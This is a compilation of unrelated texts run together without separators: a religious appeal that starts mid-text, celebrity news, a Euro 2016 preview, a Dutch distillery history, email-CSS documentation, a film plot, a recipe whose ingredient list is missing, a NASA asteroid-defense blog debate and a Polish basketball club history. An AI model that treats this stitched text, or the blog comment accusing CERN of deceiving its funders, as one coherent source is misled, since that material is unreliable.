If you do, then you are coming to know, and know that you know that you are in contact with the actual Work of Almighty God on this earth! OF YOUR OWN BIBLE?
What Are Our Motives?
You need to ask yourself — just what are we of The WORLD TOMORROW radio program, and TOMORROW'S WORLD magazine, "after"?
Listen to a few of the facts!
First, you hear a straight-talk half hour program which NEVER makes any emotional appeal, solicits funds, asks for contributions, or urges you to "join" any kind of an organization!
Secondly, you are receiving what we feel is a most finely printed, top-quality, beautiful magazine — chock-full of straight-from-the-shoulder articles trying to serve, and to help you — and all absolutely FREE of charge!
At your request, you can join the multiple thousands who are receiving, without tuition cost, our Ambassador College Correspondence Course. This FREE course takes you in a step-by-step method through the entire Bible in a gripping, scintillating and absorbing manner.
At your request, you may receive any one of the many dozens of booklets and articles we send out, all absolutely FREE of charge. There is NEVER, in any of these booklets, any solicitation to "join" an organization — or any request for money.
Others don't understand it. They say "HOW can you publish all this literature and such a fine magazine as TOMORROW'S WORLD and send it all out FREE?"
Sometimes, when a few persecutors (who either sincerely misunderstand, disagree, or deliberately distort and wrest our words) write little tracts or pamphlets claiming to "expose" this great Work of God, they refer to our practice of giving away all this literature FREE. One such tract used the word "lavishly" when describing our practice of GIVING the Gospel to the world. The inference was that there must be something sinister, something hidden, something clandestine and evil in GIVING all this literature away absolutely FREE!
But Jesus said, "FREELY ye have received, FREELY give"! (Matt. 10:8.)
Again, what are our motives? Have we ever ASKED you for something? Or, on the other hand, don't you see us trying diligently to GIVE you something of great value — truly the "pearl of great price," the precious TRUTH of our Creator God, which comes to you FREE as the breath of air you breathe?
Anything evil, anything sinister in that?
Are We Competing?
Analyze it further.
Are we a competing organization — proselyting, trying to wrest away members from other organizations?
If we were — don't you believe we should adopt a far DIFFERENT "doctrine"? The TRUTH which we preach is not easy. We don't apologize. We don't whine or gasp on the air. We don't sob, cry, scream, or add a grunting, explosive "UH!!" after every other word or so on the air. We do not attack organizations, churches, or individuals.
Jesus had His persecutors. Ever read in the Gospels how Christ "answered them not a word"? It wasn't His personality, His manner of dress, His appearance that made them so angry. Had He just "gone along" with the rest of the world of His day — blending into His community, casually taking for granted everything taught by the various conflicting organizations of HIS day, Christ would have been a "regular guy," a "good Joe," readily accepted by all elements of society.
But He came thundering the Gospel of the Kingdom of God! He came preaching the TRUTH of God! He came living a life exemplary of the very commandments and laws of God.
That's what made them so angry. They simply couldn't understand how anybody could be that SURE he was right! They wondered, "Who gives this fellow the right to be right?" While they did bicker back and forth among themselves, there was a certain degree of "tolerance" between Essenes, Sadducees, Pharisees, Herodians and others. They were "broadminded" enough to live together fairly peaceably in the same communities.
(Incidentally, which one of them did Jesus join? Write for our free article "Why So Many Denominations? ")
Yes, just what are we after?
The Work of MEN — or the Work of GOD?
Frequently, those who have been carefully checking up in their own Bibles, and have been searching the Scriptures to PROVE the Truth of God will call upon us to send representatives to visit them in their own homes. We never call upon anyone unless it is specifically and voluntarily requested.
But even after some have called upon us, without any solicitation on our part, and have asked us if they can "join" with us in this great Work of God — they want to be baptized, and become a very member of the Body of Jesus Christ — yes even then we do not baptize all of them, by any means.
Why? Simply because we are preaching and teaching what the Bible says — not the "ideas" of man!
In the Bible, there are definite, positive LAWS revealed. It is only when we have totally repented of having broken those laws, have come to God, through the sacrifice of Jesus Christ, brokenheartedly — asking HIS forgiveness — and then have become willing to OBEY God, that we are truly qualified for baptism.
Some, we find, simply do not understand.
They see a work which they feel is the work of men. They sincerely want to have a part in it. They appreciate it, they are enthusiastic about it, and they want to help in it. But we don't baptize them if that's all they see — we are NOT a proselyting organization just out to get members.
Again, what are our motives? Surely, you might think, if we were trying to build some type of competing organization, begin a "movement," or start a large "denomination" we should have to change our tactics, wouldn't you think? As I said, we should have to "adopt" (which would be direct disobedience to God's plain commands!) a price on TOMORROW'S WORLD just for a start.
Do you begin to see?
We are not just another voice among thousands — not just another label on the supermarket shelf — not just another size, brand name, or product which may be "better suited" to some people than to others.
We ARE the very servants of the LIVING Jesus Christ of Nazareth preaching HIS Word, fulfilling HIS great commission to HIS own Body! And we do baptize those we find truly repentant according to the Word of God. If you feel YOU would like personal counsel about repentance, we would be happy to send our representatives to see you upon your personal request.
How Can You Prove It?
Again I say, "DON'T believe us!" Believe what you read in your own Bible!
Isaiah wrote, "To the law and to the testimony: if they speak not according to this word, it is because there is no light in them" (Isa. 8:20).
The Apostle Paul urged, "PROVE all things, hold fast that which is good" (I Thes. 5:21). Luke wrote, in the book of Acts, of the Bereans who "received the word with all readiness of mind {as opposed to (NOT with) suspicion, hostility or resentment, but with an OPEN mind), and SEARCHED THE SCRIPTURES DAILY, whether those things were so" (Acts 17:11).
But the text goes on: "THEREFORE many of them believed" (verse 12). In other words, BECAUSE of their honest, forthright, open-minded zeal in wanting to prove the TRUTH, as opposed to the suspicious, resentful and biased approach of someone whose mind is already made up, these Bereans BELIEVED. And they believed the literal TRUTH!
You, too, can PROVE where God's truth is available. You can prove, and come to really KNOW what is the only and the one true religion which Jesus Christ of Nazareth brought to this earth from His Father!
You can come to know Jesus Christ is ALIVE today, that He RULES in His own true Church, which is His Body!
Again we say, don't believe us — just because we say so. But believe us if and when you find we speak according to the very Word of God, and then only believe us as we speak according to that Word!
The Apostle Paul said, "Follow me as I follow Christ"! (I Cor. 11:1.)
What about it? Do you really WANT to know the truth? Jesus said, "Ye shall know the truth, and the TRUTH shall make you free"! (John 8:32.) The truth is available. We're doing our best, working day and night, striving to bring it to you — and to give it to you FREE, just as Jesus said.

In the local scene, Jericho Rosales never leaves the spotlight because he is known to be one of the most sought-after actors in our generation. Last week however, he got a chance to step out of the limelight to be his wife's assistant in the New York Fashion Week.
He said it himself. He's Kim's best assistant ever!
He mentioned in the caption that he has been working on being a 'better husband.' He showed it by supporting Kim's career in fashion, which involved acting as her assistant during the NYFW.
According to Echo, the duties include keeping schedules, getting Uber rides and steaming clothes. It looks like he loved every moment of it!
Jericho also relayed a combination of sweet and funny message for Kim in the post.
"Seeing the results of all the hard work you've put into your career (and hair) makes me so proud ?? keep doing what you do. I got your back. (And bags)," he captioned.
It seems like the multi-awarded actor enjoyed being in the same world with his wife even for a little while.
What a stylish couple indeed!
After spending time with the love of his life, Jericho is probably back, working on their upcoming Metro Manila Film Festival 2018 entry titled, The Girl in the Orange Dress.


Northern Ireland players pictured during their training session at the Parc des Princes in Paris ahead of their final Euro 2016 group game against Germany.
Northern Ireland are prepared to learn from five-time World Cup winners Brazil's failings as they try to upset Germany and book a Euro 2016 last-16 berth in Paris.
The Green and White Army supporting Michael O'Neill's side in France include 'We're not Brazil, We're Northern Ireland' among their back catalogue of chants and they will be keen not to follow their lead when establishing a game-plan to nullify the reigning world champions.
Two years ago Brazil, then the hosts, were embarrassed in a 7-1 semi-final loss to Joachim Low's team in one of the most stunning results of all time.
And O'Neill, whose men would definitely seal their progress out of Group C at the Parc des Princes with a win, has promised that his resilient side will not fold in the same manner.
"What you learn from that is the situation of expectation, tension in the team and how to deal with disappointment on the football pitch, which I think Brazil didn't deal with particularly well," O'Neill said.
"It was fairly evident 20-to-25 mins into the game they were looking for the final whistle.
"If there's anything we do possess that maybe the Brazilians don't it's that we will go to the final whistle regardless of what the score is in the game.
"We didn't play as well as we could do in the first game, but we were in it until the final minute, we won the game against Ukraine and scored in the 96th minute so we will bring an intensity, a spirit, however long it lasts.
"Other than that, I'm not sure what we can possibly offer the Brazilians!
The fact that the Northern Ireland boss was fielding questions about what Brazil can learn from his side shows how far the nation has come since they last met the Germans 11 years ago when, despite having 10 men for 75 minutes, the visitors won 4-1 in Belfast.
Their campaign in France has won admiration and support from the host nation and further afield, a fact that O'Neill attributes to their down-to-earth persona.
"Everyone has their favourite teams but if they see a smaller team do well in the tournament - we saw that with Leicester - they can become everyone else's second team," O'Neill added.
"If we've created that kind of atmosphere, that's a positive. We came in, we don't have an arrogance, we don't have a blase about us, we're a fairly humble team, a hard-working team but also have goals of our own that we want to achieve.
Qualification out of a group also featuring Poland and Ukraine would also win O'Neill some more fans.
Three months ago he penned a new four-year deal with the country, but there remains a £750,000 release clause which clubs could be tempted to trigger after witnessing O'Neill's Northern Ireland in France.
"One thing football taught me as a player was never to look too far ahead because disappointment is hanging around the corner," O'Neill insisted.

Distilleerderij Glen Scotia is een producent van single malt whisky in Campbeltown, Schotland.

De firma werd opgericht in 1832.

Geschiedenis
Glen Scotia heeft een lange geschiedenis van faillissementen en doorstarts. De distilleerderij werd in 1832 opgericht door de familie Galbraith. De familie verkocht de distilleerderij in 1919 aan West Highland Malt Distillers. Deze ging in 1924 failliet en Glen Scotia ging over op Duncan MacCallum. De distilleerderij werd in 1928 gesloten.

In 1933 werd de productie opnieuw opgestart en tot 1984 werd er Glen Scotia geproduceerd. Het bedrijf heropende in 1989, maar de productie werd in 1994 opnieuw gestaakt toen de distilleerderij in handen kwam van Glen Catrine Bonded Warehouse Ltd.

In 2000 werd Glen Scotia opnieuw opgestart met werknemers uit de distilleerderij Loch Lomond.

title: Media Queries
description: Use media queries to design responsive HTML emails that work in any email client.
---

## Default Media Query

CSS media queries allow us to adjust the display and orientation of content at different screen sizes.

Foundation for Emails has one breakpoint:

- Small: 596 pixels or smaller.

Many components can be modified at different screen sizes using special breakpoint classes. The grid is the most obvious example.

**CSS Version**
You can define the width of your columns on each breakpoint by using the grid with classes. `.small-6` creates a six column wide container (50%) width on the small breakpont. You can override this behavior on the large breakpoint by definining another size like `.large-4`.

**Inky Version**
In Inky, you can define the width by using the `small="x"` and `large="x"` attributes.

```inky_example
<style>
  .columns {border: 1px solid #333;}
</style>

<row>
  <columns small="6" large="4">4 columns, 6 columns on small</columns>
  <columns small="6" large="8">8 columns, 6 columns on small</columns>
</row>
```

---

## Using the Media Query

The media query will wrap the styles you wish to affect. Because there is only one breakpoint to consider and it's a max-width, your mobile styles or overrides will go in a media query. If you're using the CSS version of Foundation, use this media query to imitate the core breakpoint:

```scss
/* Small only */
@media screen and (max-width: 596px) {}
```

The Sass version of Foundation uses a convenient variable to set the breakpoint width. Use this media query to imitate the core breakpoint:

```scss
/* Small only */
@media only screen and (max-width: #{$global-breakpoint}) {}
```

### Example usage

```scss
.newsletter-title {
  text-transform: uppercase;
  font-size: 9px;
  padding-left: 40px;
  font-weight: bold;

  @media only screen and (max-width: #{$global-breakpoint}) {
    padding-left: 0;
  }
}
```

```scss
@media only screen and (max-width: #{$global-breakpoint}) {
  p {
    font-size: 19px;
    font-weight: 600;
  }
}
```

---

## Changing the Breakpoint

Changing the breakpoint is easy in the Sass version. In the `_settings.scss` you can control the width of this breakpoint.

```scss
$global-breakpoint: $global-width + $global-gutter;
```

The `$global-breakpoint` is a combined width of the `$global-width` and the `$global gutter`. You could hard-code a pixel value here instead of the variables or change the `$global-width` (recommended) as it takes account for the gutter calculation.

```scss
$global-width: 580px;
```

Bayala: A Magical Adventure (; released in some European countries as The Fairy Princess and the Unicorn) is a 2019 German-Luxembourgish 3D computer-animated high fantasy adventure film directed by Aina Jarvine and co-directed by Federico Milella from a script by Venessa Walder. The film is based on the toy-line of the same name by German manufacturer Schleich.

Plot
In the land of Bayala, elves and dragons live in harmony, the elves watching over dragon eggs until the Dragon's Feast, where they return the newly-hatched dragons to their parents, their bond strengthening the land's magic. One day, however, Ophira, the queen of the shadow elves, steals the dragon eggs and abducts Surah, princess of the sun elves. With the dragons gone, the land begins to wilt away while Ophira grows in strength. Years later, Surah manages to escape the shadow realm with the help of her friends Jaro and Nuray, Ophira's niece. However, growing up in the shadow realm results in her gaining the wings and magical abilities of a shadow elf.

Years later, on the coronation of Crown Princess Eyela of the sun elves, young elf Marween discovers what she believes to be a talking rock, only for the elves to realize it is a hatching dragon egg. Eyela plans a new Dragon's Feast; however, it is only possible with royalty from all the elven tribes, including the shadow elves. The elves decide that Surah and Jaro will go to the shadow realm to retrieve Nuray, while Surah's twin sister Sera and Marween will take the baby dragon, Nugur, to his parents at Dragon's Peak, while Eyela gathers the other elven royalty to prepare for the feast. As the group travels through the woods, Ophira, growing suspicious of their intentions, summons a storm spell to attack them, but Surah counteracts it with her own storm spell. They arrive at the home of Magus Bilara, who teaches Surah not to view her shadow elf abilities as being evil. Bilara supplies the group with a boat and sends them across the lake to the path to Dragon's Peak. However, Ophira, spying on the group with her ravens, discovers Nugur and sends another storm spell, causing the group to crash on the shore of the shadow realm.

With little options available, Surah resolves to send Marween to take Nugur to Dragon's Peak alone while the rest goes to retrieve Nuray. Using Surah's bird Kuack to distract the ravens, the group manages to escape and splits off. Ophira sends her shadow to contact the group, offering to trade Nuray for Nugur. As the group arrives at Shadow Rock, they are taken prisoner, but Ophira discovers they don't have the dragon and sends her ravens to Dragon's Peak to retrieve him. Meanwhile, Marween takes Nugur to Dragon's Peak and successfully reunites him with his parents. At Shadow Rock, the group defeats Ophira's guards while Surah battles Ophira. While initially overpowered, the magic of the reunited dragons strengthens her magic and allows her to defeat Ophira, turning her to stone. The dragon statues on Shadow Rock are destroyed, revealing the stolen dragon eggs hidden within them.

Nuray is crowned the new queen of the shadow elves and returns the dragon eggs to Solstice Rock, where the elven tribes have gathered for Dragon's Feast. Marween is announced the royal liaison to the dragons and is taken as Bilara's apprentice. The united elven tribes celebrate the return of the dragons and the restoration of magic to Bayala.

A company executive mandated that female staff wear a show uniform I think is inappropriate. How can I make an effective case against this?
While employers have a right to legally mandate uniforms, that authority is generally understood to mean the ability to prescribe uniforms that all employees would wear, not apparel for a particular group of employees, based on gender or age, for example. I expect a conversation with a labor attorney would support the position that your manager may not single out women by ordering that they wear clothing that's too revealing, for instance, or in some other way unsuitable for the show.


Amy's mom recently made a comment that our recipes were getting a little crazy. She briefly mentioned fish sauce as a particularly odd ingredient. Well, Mom, you're not going to like this one, we expect. So let us start by restating something we've said before, which is that we feel recipes are mostly suggestions, not meant to be followed to the letter. We write about what we did and encourage you to try it your way.
That said, on a recent summer motorcycle ride out to Brooklyn, Connecticut, we stopped at the Creamery Brook Bison Farm (see also our old post here). If you are ever in the area on a weekend, you should go check it out. Besides bison, they have emus and many different birds. They offer farm tours and wagon rides, host seasonal events, and have a store in which they sell their meat along with an astounding array of bison-themed products. Plus, there's ice cream! It's a small, family-run farm, so definitely check their website before you go for their hours and other pertinent information.
On this particular day, we picked up a gorgeous bison tenderloin at the farm's store. When we got home, Chris trimmed it to remove the extra fat and silver skin. We tossed some small potatoes in olive oil with fresh herbs and Chris set out to the deck to put those on the grill. Once they were nearly cooked, he put on the meat, first searing it on all sides, then turning down the heat to cook it to medium rare. It didn't take long, and he was very careful not to overcook it, because it was a beautiful piece of meat. (If you're not sure how to cook bison, the farm has handout to guide you).
While Chris was grilling, Amy made this cherry-fig chutney to serve over the meat. In case you don't know, besides being the most annoying character in Legally Blonde, a chutney is a spicy condiment made of fruits or vegetables with vinegar, spices, and sugar, sort of like a savory marmalade. We had fresh cherries in the house (see also Cherry-Lemon Clafoutis) and thought they would work nicely with the bison, although we think this sauce-of-sorts would also be great with beef or pork.
The "strange" ingredient Amy's mother might not like here (besides the bison, that is) is the fig-infused balsamic vinegar, a gift from our neighbors D and J. It really gave the chutney a deeper, darker, sweeter, less acidic flavor than a regular balsamic vinegar would. If you can't find it at your grocery store, they would certainly carry it at one of those specialty olive oil/vinegar shops that seem to be all the rage lately. Williams-Sonoma has one as well. In other words, while it may take more effort, it will be well worth it.
Heat the oil in a large skillet over medium heat. Add the onions and cook until caramelized, about 10 minutes. Remove the onions to a small bowl and set aside. Put the sugar, vinegar, cinnamon, cloves, and cayenne in the skillet and stir to combine. Bring to a boil, then immediately reduce heat to low. Add the cherries and allow to simmer for 10 minutes. Return the cooked onion to the skillet and season to taste with salt and pepper. Serve over bison, beef, pork, or whatever you wish.

NASA had the opportunity to make the case for planetary defense at last week's meeting of the House Science Committee. Unfortunately, as Jeff Foust reports, NASA Administrator Major General Charles Bolden (USMC-ret.) failed to make that case.
Bolden's comments were particularly strange since presidential science advisor John Holdren, who also testified at the hearing, did come out for a significant increase in spending on asteroid detection. "I think we would want to be spending upwards of $100 million a year [compared to the current $20 million," Holdren said.
Even $100 million is a small fraction of the NASA budget, of course, and it seems dismaying that General Bolden would not support even that much. Large asteroid impacts may be rare events, as Bolden says, but rare events are the reason we buy insurance policies. $100 million a year seems like a very small price to pay for a policy that would cover the entire human race.
This statement is spot on. There are so many unknowns, when it comes to asteroids, that first-hand inspection is essential if we are to be ensured of the success of future deflection missions. Unfortunately, while NASA may be working to accomplish a visit to an asteroid by 2025, it isn't working on it very hard. NASA is pouring billions of dollars into developing the Orion capsule and Space Launch System, which are neither necessary nor sufficient for the asteroid mission.
If an asteroid mission were a priority, NASA could accomplish it much sooner (and more cheaply) using systems such as the Space-X Dragon capsule and Falcon launch vehicle, Atlas and Delta launch vehicles, and Bigelow inflatible habitat modules, which are already in production or in advanced states of development. To delay a human asteroid mission for the development of Orion and SLS is akin delaying the US entry into World War II so Howard Hughes could finish developing the Spruce Goose, instead of using the DC-3. It makes no technical, economic, or programmatic sense. General Bolden must know this, if he is getting competent technical advice.
Of course, space cynics will say that Dragon and Falcon are still in development. Commercial programs can (and often do) fail, as former NASA Administrator Mike Griffin is fond of noting. Griffin errs, however, when he implies the contrapositive position — that non-commercial programs never fail — which is provably false. There is no reason to believe that Dragon and Falcon (which are farther along in development than Orion and SLS) are more likely to fail than Orion and SLS.
NASA could do a quick-and-dirty asteroid mission using a Bigelow module, Dragon capsule, and some combination of Falcon, Atlas, and/or Delta launchers. A more effective mission would entail the development of a dedicated deep-space exploration ship, such as Johnson Space Center's proposed Nautilus-X. The Technology Application Assessment Team at JSC has estimated that Nautilus-X could be developed in just over five years at a cost of $3.7 billion. Unfortunately, there is no funding for the development of such systems at present because NASA is pouring all of its available funds into Orion and SLS.
NASA leadership has historically shown little interest in planetary defense. The United States Air Force has shown more interest than NASA has. Unfortunately, while NASA is taking modest cuts as part of Congressional efforts to get the Federal budget under control, the military space budget is being cut to the marrow, so it's unlikely the Air Force will be able to pick up the ball if NASA drops it.
Orion and SLS are popular programs with certain members of Congress, and it would take real leadership on the part of NASA's Administrator to make the case for change. The current interest in planetary defense could provide an opportunity for such leadership. Unfortunately, General Bolden seems to be squandering that opportunity. This is not the first time the General has failed to make the case for a strong, yet cost-effective, space program before Congress. We can only hope that he starts to act more like a fighter pilot and less like a political appointee who doesn't really want the job.
I am wondering if General Bolden got word that the one place Lamar Smith would look to short for funds, so that an Orion/SLS mission could be done, would be Commercial Crew. The idea that it would be better to encourage commercial groups like Planetary Resources, who we should note were excluded from testimony, is anathema to those who would entrench SLS/Orion as the BEO standard for the US. NautilusX might be government, but its a distraction that would require more expression of political capital, when the money is already being all funneled through the Orion/SLS deals, anyway.
Every time the advocates of SLS/Orion go to another politician, seeking votes, they will use up political capital in *some* form. For instance, observe who among the SLS/Orion crowd voted to confirm Hagel for SecDef. The 100+ different NASA technology development programs that *should* be using the money for SLS/Orion would each require expenditure of a bit more political capital from those protecting jobs in and around NASA Centers. The total political capital expended for those programs would be far higher, just because there are so many of them, than the political capital expended to get SLS/Orion through Congress.
Funds should flow smoothly to NASA, CERN etc. Nobody is bothered about Truth of physical sciences. CERN scientists are befooling themselves and ignorant people. If Higgs Boson is a God particle arising from Big Bang 13.7 billions years ago then the rational question arises whether God can exist under Big Bang paradigm. Rationally God cannot exist under Big Bang paradigm because for any existence including God; substance is a pre-requisite and substance will occupy space. At the time of Big Bang there is no space for God to exist and what comes out of Big Bang is space, time, matter & light/radiation. Now there is no space for God to exist before Big Bang so he cannot exist afterwards. We know matter is made up of protons, neutrons & electrons and as such God cannot be in the matter also, He cannot be in time as time has also started at the time of Big Bang. Since we know what is light/radiation and we are in a position to produce light/radiation; hence God cannot be in the light/radiation also. Then where is God.
CERN scientists are deceiving the ignorant fund providers by giving them the notion that they have found the God particle whereas they are working under a paradigm of physics under which God cannot exist.
Physicists & philosophers of the world act as mute spectators.
This article is a combination of ignorance, myopia, and fear-mongering at its worst. It's bad enough NASA gets raped by legislators more interested in handing out goodies to their special interest social programs but it's somewhat incredible to see this kind of self-flagellation from the pro-space community.
Administrator Bolden responded practically and with an eye toward putting precious funds where they would have a more immediate impact. This is indeed a mission more in line with NASA's rather than the Air Force's charter but realistically, the effort you're calling for is a waste.
You have your analogy exactly reversed. Postponing the heavy lift we would need to mount a rapid interplanetary mission in order to mount a sightseeing trip using systems designed for low-altitude LEO missions is like pushing off development of the P-51, B-17 and B-29 in favor of bulding more PBYs and the Spruce Goose.
You do NOT need human inspection of the asteroids — recall the success of the NEAR mission well over a decade ago. There are two things you need to deal with this problem: early detection (to give us time to get something out there) and a long-duration propulsion system we could mount to the asteroid in order to divert its course. Simple orbital mechanics will tell you that a small sustained push early in the orbit will accomplish more than a huge instantaneous delta-v close to conjunction. Oh yeah — a third thing: you need to GET that propulsion system out to the asteroid FAST.
Two big problems with pouring money into a NEO detection campaign: first, the public has a very short term memory and would forget the scares that caused them to support the effort and second, what can you do about the asteroid once detected?
By spending the funds instead on bolstering a reliable launch system that won't require years worth of gravity-boost trajectories to get to the asteroid belt, we will be more likely to develop an ability to respond if/when a threat object is detected. I'm not a big fan of the long stick design but putting the funding into rapid reliable interstellar deployment meets more objectives in the long run and is more likely to give us options if/when the killer asteroid is ever detected.
Administrator Bolden isn't squandering an opportunity, he's trying to maximize the utility of any dollars spent.
The public is not as stupid as you imply. The American people have been aware of the planetary threat for some time. Just watch the Discovery Channel, or visit Barnes and Noble. It is the politicians who are lagging in their awareness.
The NEAR mission did not begin to scratch the surface on asteroid knowledge (figuratively or literally). The notion that robots make humans obsolete is a common fallacy not supported by real-world data. As researchers have pointed out, a single geologist could do more science in an afternoon than the Mars rovers do in weeks. Referring to human missions as "sightseeing trips" shows that you haven't keep up.
Re: "Postponing the heavy lift we would need to mount a rapid interplanetary mission" — We already have heavy lift in the form of Atlas, Delta, Falcon, etc. Presumably, you mean superheavy lift. That is not needed for interplanetary missions. With orbital assembly, we can build any size spacecraft in orbit. What's needed is not superheavy lift but affordable lift. Without that, no one is going anywhere. You don't "maximize dollars spent" by developing a huge rocket that makes human spaceflight more expensive.
Calling SLS "a reliable launch system" doesn't make it reliable. A rocket that costs billions of dollars per flight will never be reliable. Achieving reliability requires large numbers of flights to work down the learning curve. Due to its huge expense, SLS will never fly more than one or two times a year.
You missed the points. When you're talking about planetary defense, the question isn't a scientific survey of asteroids, it's detection of a potential threat and being able to respond to that threat. The response part requires rendezvous (which NEAR addressed) and docking to add the engine.
I am all for human exploration but you're mixing up scientific exploration with your presumed rant about planetary defense. Very different missions and very different needs for human presence. I'm with you if you want to argue for cheaper ways to accomplish interplanetary science with human presence but you need to divorce that argument from the planetary defense rant.
You put down SLS and Orion which are supposed to be designed specifically for interplanetary work but claim NASA could do "quick-and-dirty" using a Bigelow module or Dragon capsule thinking you're going to launch it on a Falcon. Really? All three at least have the advantage of flying at least one but neither Bigelow nor Dragon were engineered for that kind of mission so I don't think it's as quick as you may think.
You have to get the diversion engine to the asteroid quickly once it is detected. That requires engines with significant boost so you don't spend precious months on orbital assembly or years of gravity boost trajectories like Galileo had to use. The whole point of focusing efforts is to GET operational experience and reliability out of a system that has the potential for allowing us to react in the timeframes available rather than squander funds chasing phantoms.
By the way, I used to watch the Discovery Channel until it was overwhelmed with garbage like Monster Quest and UFO Hunters. I still watch the occasional special but the current state of the Discovery Channel as well as the History Channel, TLC, etc. disproves your point about an informed public. There are unfortunately more people interested in "Ancient Aliens" or hunting sasquatch than in interplanetary missions and mixing up scientific research/exploration with Hollywood-esque "save the planet" scares don't help.
Detection is only the first step. We need to know a lot more about the composition and internal characteristics of asteroids to determine which deflection techniques are likely to work. Are they solid bodies or rubble piles, for example?
You are misinformed about Dragon and Bigelow. SpaceX was designing Dragon for interplanetary missions when I first heard about it back in 2003. Elon Musk isn't interested in ISS missions, except as a means to his end. He wants to go to Mars. The Bigelow modules were developed from NASA's Transhab concept, which was intended for Mars missions. JSC has produced recent concepts for interplanetary ships that use Bigelow modules.
The idea of spending years (and tens of billions of dollars) developing a superheavy lifter in order to avoid "precious months" of orbital assembly is goofy. Not that it takes months to dock modules together. Orbital mechanics doesn't work that way.
If you want to get operational experience, you need to fly, a lot. Putting all of your money into one big rocket which you can't afford to operate is the wrong way to go about it.
I think General Bolden missed the point. It's true that the probability of a civilization-destroying collision is extremely small, but the consequences are huge. Our state of mind would be much better, thinking that we are seriously trying to prevent it. And that is worth a lot, in my opinion.

Klub koszykarski Azowmasz Mariupol został założony w Mariupolu w 1990 roku i reprezentował Mariupolski Zakład Maszyn Ciężkich "Azowmasz". We wrześniu 1990 zespół rozpoczął występy w Pierwszej lidze mistrzostw ZSRR (strefa ukraińska) i zajął 6 miejsce z 8 uczestniczących drużyn. W sezonie 1992 zespół startował w Pierwszej Lidze Ukrainy, wygrywając ligę i zdobywając awans do Wyższej Ligi Ukrainy. W debiutanckim sezonie 1992/93 zajął 7.miejsce. W sezonie 1995/96 zajął ostatnie 11.miejsce w Wyższej Lidze i potem grał w barażach o prawo gry na najwyższym poziomie. Jednak latem 1996 została utworzona Superliga, która została skrócona do 8 drużyn i klub został sklasyfikowany do niższej ligi, która dalej nazywała się Wyszcza liha. W 1997 zmienił nazwę na Azowbasket Mariupol i wygrał ligę w sezonie 1997/98. W sezonie 1998/99 debiutował w Superligi, w której zajął przedostatnie 9.miejsce. Dopiero po dwóch latach już jako Azowmasz Mariupol zdobył Puchar Ukrainy oraz brązowe medale mistrzostw. W 2003 został mistrzem Ukrainy, w 2004 powtórzył ten sukces. W 2005 spadł na drugą pozycję, ale potem przez kolejne trzy sezony znów był najlepszym na Ukrainie. W sezonie 2008/09 po raz pierwszy w historii europejskiej koszykówki nastąpił podział krajowego związku koszykówki. Formalnie powodem podziału był brak akceptacji przez FBU pewnych ograniczeń. W szczególności limit wynagrodzeń, który istnieje w Stanach Zjednoczonych i limit dla zagranicznych graczy. Niektóre kluby, które nie zrezygnowały z tego stanowiska, zjednoczyły się w nowej lidze - Ukraińskiej Lidze Koszykówki (UBL), reszta pozostała w Superlidze. Mariupolski klub pozostał w Superlidze, zdobywając kolejny tytuł mistrzowski. W 2009, po połączeniu dwóch lig, a mianowicie UBL i Superligi, klub po raz ostatni zdobył mistrzostwo Ukrainy. W 2011 zajął trzecie miejsce po rundzie zasadniczej, ale już przegrał w ćwierćfinale i odpadł z walki o mistrzostwo Superligi. W 2012 i 2013 był drugim, a w 2014 trzecim. Po zakończeniu sezonu 2013/14 z powodu wybuchu wojny w Donbasie stracił możliwość rozgrywania meczów we własnej hali dlatego klub został rozwiązany.

W 2016 klub został reaktywowany jako MBK Mariupol i startował w Wyższej Lidze Ukrainy.
